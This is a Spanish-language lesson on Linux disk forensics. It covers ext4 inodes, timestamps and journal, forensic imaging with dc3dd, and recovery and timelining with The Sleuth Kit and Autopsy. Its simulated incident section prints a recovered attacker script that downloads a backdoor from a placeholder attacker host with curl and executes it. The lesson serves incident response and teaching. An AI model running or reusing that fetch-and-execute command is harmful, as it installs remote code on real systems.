Forense de disco en Linux: ext4, recuperación de archivos, Autopsy y Sleuth Kit

Cuando un equipo Linux sufre un incidente de seguridad, el disco duro guarda una cantidad enorme de información que sobrevive reinicios, borrados superficiales y hasta intentos deliberados de destrucción. Archivos eliminados cuyo contenido sigue intacto en bloques no reasignados, timestamps que revelan exactamente cuándo se creó, modificó o accedió a cada fichero, logs del journal del filesystem que registran operaciones a medio completar. Todo eso es evidencia forense, y extraerla correctamente puede marcar la diferencia entre reconstruir el ataque completo o perder la pista del atacante.

La forense de disco no es exclusiva de grandes equipos de respuesta a incidentes. Cualquier administrador de sistemas o analista de seguridad que sepa manejar The Sleuth Kit y Autopsy puede analizar una imagen forense, recuperar archivos borrados y generar un timeline que documente la actividad del sistema minuto a minuto. Las herramientas son gratuitas, open source y están disponibles en cualquier distribución Linux orientada a seguridad.

Es la primera lección de la Tanda 8, dedicada a forense y threat intelligence. Cubre el flujo completo: desde cómo crear una imagen forense sin alterar la evidencia original, pasando por los internos de ext4 que hacen posible la recuperación, hasta el análisis práctico con comandos reales.

Trabaja solo con discos e imágenes de equipos propios o con autorización explícita por escrito. La forense de disco accede a datos extremadamente sensibles (documentos, credenciales, correos, historial). Trata toda evidencia como material confidencial y respeta la cadena de custodia.

Qué es la forense de disco#

La forense de disco (disk forensics) es la disciplina que analiza medios de almacenamiento — discos duros, SSDs, USBs, tarjetas SD — para extraer, preservar e interpretar evidencia digital. A diferencia de la forense de memoria (que trabaja con datos volátiles en RAM), la forense de disco trabaja con datos persistentes que sobreviven al apagado del equipo.

El principio fundamental es nunca trabajar sobre el disco original. Toda operación se hace sobre una copia bit a bit (imagen forense) para preservar la integridad de la evidencia. Si montas el disco original en un sistema Linux sin precauciones, el kernel actualizará timestamps de acceso, el journal escribirá entradas y la evidencia quedará contaminada.

En Linux, el filesystem más común es ext4 (Fourth Extended Filesystem), que es el que analizaremos en profundidad. Pero las técnicas aplican con adaptaciones a XFS, Btrfs, NTFS y otros.

Cómo funciona ext4 por debajo#

Para entender qué puede recuperar un analista forense, necesitas conocer las estructuras internas de ext4 que almacenan metadata y datos.

Inodos#

Cada archivo y directorio en ext4 tiene un inodo (inode): una estructura de datos que almacena los metadatos del archivo. El inodo contiene el tamaño del archivo, permisos, propietario (UID/GID), timestamps y punteros a los bloques de datos donde está el contenido real.

Inodo #12345
├── Tamaño: 45.312 bytes
├── Permisos: -rw-r--r--
├── UID: 1000, GID: 1000
├── Timestamps: crtime, mtime, atime, ctime
└── Extents: bloques 80000-80010

Cuando borras un archivo con rm, Linux no sobrescribe los bloques de datos. Solo marca el inodo como libre y actualiza el bitmap de bloques. Los datos siguen ahí hasta que el filesystem necesite esos bloques para otro archivo. Eso es lo que hace posible la recuperación.

Timestamps MACB#

Ext4 mantiene cuatro timestamps por cada inodo, conocidos como MACB:

El campo crtime (creation time) es específico de ext4 y no está disponible en ext2/ext3. Es invaluable para forense porque indica exactamente cuándo se creó el archivo, dato que ni mtime ni ctime pueden dar con certeza.

Journal#

Ext4 usa un journal (registro de transacciones) para garantizar la consistencia del filesystem tras un crash. El journal registra los cambios de metadatos (y opcionalmente datos) antes de aplicarlos a las estructuras principales. Para el analista forense, el journal es una mina: puede contener versiones anteriores de inodos, entradas de directorio borradas y operaciones que revelan actividad reciente.

Superbloque#

El superbloque almacena la configuración global del filesystem: tamaño de bloques, número total de inodos, timestamps de montaje, UUID del filesystem. Cada grupo de bloques tiene una copia de backup del superbloque, útil si el primario está corrupto.

Tipos de adquisición forense#

La primera decisión es cómo obtener la imagen del disco sin alterar la evidencia.

# dc3dd: imagen forense con hash y log
dc3dd if=/dev/sda of=imagen.raw hash=sha256 log=adquisicion.log

# dd clásico (sin hash integrado, calcular aparte)
dd if=/dev/sda of=imagen.raw bs=4M status=progress
sha256sum imagen.raw > imagen.sha256

# ddrescue: para discos con sectores dañados
ddrescue /dev/sda imagen.raw mapfile.log

Después de crear la imagen, siempre calcula el hash SHA-256 y documéntalo. Cualquier manipulación posterior que altere un solo bit cambiará el hash y la imagen pierde valor legal.

Cuándo se necesita forense de disco#

• Respuesta a incidentes: un servidor fue comprometido y necesitas saber qué archivos creó, modificó o borró el atacante.
• Investigación de malware: determinar cómo llegó el malware, qué archivos dropeó, qué persistencia estableció.
• Fuga de datos: verificar qué archivos se copiaron a un USB o se comprimieron antes de exfiltrarse.
• Análisis post-mortem: el equipo ya fue apagado y la única evidencia disponible es el disco.
• Compliance y auditoría: documentar la integridad de los datos para cumplir con normativas (PCI DSS, HIPAA, GDPR).

Cómo se analiza: herramientas y flujo#

The Sleuth Kit (TSK) es un conjunto de utilidades de línea de comandos para análisis forense de discos. Autopsy es su interfaz gráfica web. Juntos forman el stack más usado en forense de disco en Linux.

Listar particiones con mmls#

mmls imagen.raw
# DOS Partition Table
# Offset    Sector    End         Length       Description
# 000:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)
# 001:  -----   0000000000   0000002047   0000002048   Unallocated
# 002:  000:000 0000002048   0000526335   0000524288   Linux (0x83)
# 003:  000:001 0000526336   0001048575   0000522240   Linux (0x83)

La columna Offset indica el sector de inicio de cada partición. Lo necesitas para apuntar fls e icat a la partición correcta.

Listar archivos con fls#

# Listar todo el árbol de archivos, incluyendo borrados
fls -r -p -o 2048 imagen.raw

# Solo archivos borrados (marcados con *)
fls -r -d -o 2048 imagen.raw
# * r/r 12345: home/usuario/documento-secreto.pdf
# * r/r 12346: tmp/script-ataque.sh

Los archivos borrados aparecen con * al inicio. El número antes del nombre es el inodo.

Extraer archivos con icat#

# Extraer un archivo por su inodo
icat -o 2048 imagen.raw 12345 > documento-recuperado.pdf

# Verificar el tipo real del archivo recuperado
file documento-recuperado.pdf

Recuperación masiva con tsk_recover#

# Recuperar todos los archivos borrados de la partición
tsk_recover -e -o 2048 imagen.raw ./archivos-recuperados/

# Contar archivos recuperados
find ./archivos-recuperados/ -type f | wc -l

Timeline con mactime#

# Generar body file con metadata de todos los inodos
fls -r -m "/" -o 2048 imagen.raw > body.csv

# Crear timeline legible
mactime -b body.csv -d > timeline.csv

# Filtrar por rango de fechas del incidente
mactime -b body.csv -d 2024-03-15..2024-03-16 > timeline-incidente.csv

El timeline muestra cada operación de archivo con su timestamp MACB, ordenada cronológicamente. Es el artefacto más valioso para reconstruir la actividad del atacante.

Análisis paso a paso en un caso simulado#

Un servidor web Linux fue comprometido. El equipo de respuesta capturó una imagen del disco. Reconstruye la cadena de eventos.

Paso 1: verificar la imagen#

sha256sum imagen.raw
# Comparar con el hash documentado en la cadena de custodia

Paso 2: identificar particiones#

mmls imagen.raw
# Identificar la partición del sistema (normalmente la más grande, tipo Linux 0x83)

Paso 3: buscar archivos sospechosos#

# Listar archivos borrados
fls -r -d -o 2048 imagen.raw | grep -i -E "\.(sh|py|elf|bin)"

# Buscar archivos recientes en /tmp y /var/tmp
fls -r -p -o 2048 imagen.raw | grep -E "(tmp/|dev/shm/)"

Paso 4: extraer y analizar archivos borrados#

# Extraer el script encontrado
icat -o 2048 imagen.raw 54321 > script-sospechoso.sh
cat script-sospechoso.sh
# #!/bin/bash
# curl http://IP_ATACANTE/backdoor -o /tmp/.hidden
# chmod +x /tmp/.hidden && /tmp/.hidden &

# Extraer el binario
icat -o 2048 imagen.raw 54322 > backdoor.elf
file backdoor.elf
sha256sum backdoor.elf
# Buscar el hash en VirusTotal

Paso 5: generar timeline#

fls -r -m "/" -o 2048 imagen.raw > body.csv
mactime -b body.csv -d 2024-03-15..2024-03-16 > timeline.csv
# Buscar la secuencia: descarga → ejecución → persistencia

Paso 6: analizar logs del sistema#

# Montar solo lectura para acceder a logs
mount -o ro,noexec,nosuid,loop,offset=$((2048*512)) imagen.raw /mnt/evidencia

# Revisar auth.log para accesos SSH
cat /mnt/evidencia/var/log/auth.log | grep "Accepted"

# Revisar crontabs para persistencia
cat /mnt/evidencia/var/spool/cron/crontabs/*

umount /mnt/evidencia

Qué puede revelar un disco#

Buenas prácticas y cadena de custodia#

Cadena de custodia: si la evidencia va a tener valor legal o interno, cada paso debe estar documentado.

• Documentar antes de tocar: anotar fecha, hora, quién, qué disco, serial, modelo, estado (encendido/apagado).
• Bloqueo de escritura: usar un write blocker (hardware o software) antes de conectar el disco a tu estación.
• Imagen forense inmediata: dc3dd con hash. Guardar el log.
• Trabajar sobre copia: nunca la imagen original. Hacer una segunda copia de trabajo.
• Hash en cada paso: si extraes un archivo, documenta su SHA-256.
• No montar con rw: siempre mount -o ro. El kernel Linux escribe en el journal por defecto al montar.
• Almacenamiento seguro: la imagen forense se guarda cifrada, con acceso restringido, durante el tiempo que exija la política de retención.

Write blocker por software#

# Configurar el dispositivo como solo lectura antes de hacer la imagen
blockdev --setro /dev/sdb

# Verificar
blockdev --getro /dev/sdb
# 1 (solo lectura activo)

Errores comunes al hacer forense de disco#

• Montar el disco original en modo lectura-escritura antes de crear la imagen.
• No calcular el hash de la imagen inmediatamente después de crearla.
• Usar dd sin status=progress y cancelar pensando que se colgó (un disco de 1 TB tarda minutos).
• Olvidar el offset de la partición al usar fls/icat (sin -o apuntas al inicio del disco, no de la partición).
• Recuperar archivos y sobreescribir la imagen forense por falta de espacio en disco.
• No documentar la cadena de custodia desde el primer momento.
• Analizar un SSD con TRIM habilitado esperando recuperar archivos borrados (TRIM borra bloques de verdad a nivel de controlador).
• Ignorar el journal de ext4, que puede contener versiones anteriores de archivos modificados.

Preguntas frecuentes#

¿Se pueden recuperar archivos borrados de un SSD?#

Depende. Los SSDs modernos ejecutan TRIM de forma automática, lo que indica al controlador que borre físicamente los bloques de datos que ya no se usan. Si TRIM se ejecutó, la recuperación es prácticamente imposible. Si el SSD no tiene TRIM habilitado, o si el borrado fue reciente y TRIM no se ejecutó aún, la recuperación es posible con las mismas técnicas que en un HDD.

¿Cuánto espacio necesito para una imagen forense?#

El espacio necesario es igual al tamaño total del disco, independientemente de cuánto espacio esté ocupado. Un disco de 500 GB genera una imagen de 500 GB porque se copian todos los sectores, incluyendo los libres (que pueden contener datos borrados). Si usas formato E01 con compresión, la imagen puede ser un 40-60% más pequeña.

¿Puedo hacer forense de disco en un equipo encendido?#

Sí, se puede hacer una imagen en vivo (live acquisition) con dc3dd o dd mientras el sistema está corriendo. Sin embargo, la imagen puede contener inconsistencias porque el filesystem está activo. Para servidores en producción que no pueden apagarse, es la única opción. Documenta que es una adquisición en vivo.

¿Autopsy es mejor que la línea de comandos de TSK?#

Son complementarios. Autopsy facilita la navegación visual, el keyword search, la generación de reportes y el manejo de hash sets (NSRL). Para scripts automatizados, pipelines y análisis de grandes volúmenes, la línea de comandos de TSK es más eficiente. En la práctica, los analistas usan ambos.

¿Qué diferencia hay entre ext4, XFS y Btrfs para forense?#

Ext4 es el más estudiado y tiene mejor soporte en herramientas forenses. XFS tiene un journal más agresivo y timestamps de nanosegundos, pero TSK lo soporta bien. Btrfs tiene copy-on-write y snapshots, lo que puede preservar versiones anteriores de archivos de forma nativa, pero el soporte forense es más limitado.

¿Cómo se analiza un disco cifrado con LUKS?#

Necesitas la contraseña o clave de recuperación para descifrar. Una vez descifrado con cryptsetup luksOpen, el contenido es un filesystem ext4 normal que puedes analizar con TSK. Sin la clave, el análisis del contenido es inviable. Pero los metadatos de LUKS (número de keyslots usados, fecha de creación) pueden aportar algo.

Resumen#

• La forense de disco analiza medios de almacenamiento para extraer evidencia digital sin alterar el original.
• Ext4 almacena metadatos en inodos con timestamps MACB, y los archivos borrados persisten hasta que sus bloques se reasignan.
• La adquisición siempre empieza con una imagen bit a bit (dc3dd) y verificación SHA-256 inmediata.
• The Sleuth Kit (mmls, fls, icat, mactime) y Autopsy son las herramientas fundamentales para Linux.
• El timeline generado con mactime es el artefacto más valioso para reconstruir la actividad del atacante.
• Cadena de custodia, write blockers y documentación rigurosa son requisitos, no opcionales.

Fuentes y lecturas recomendadas#

• The Sleuth Kit
• Autopsy Digital Forensics
• NIST SP 800-86 — Guide to Integrating Forensic Techniques
• SANS DFIR Poster — Linux Forensics
• ext4 Documentation — kernel.org
• dc3dd — DoD Cyber Crime Center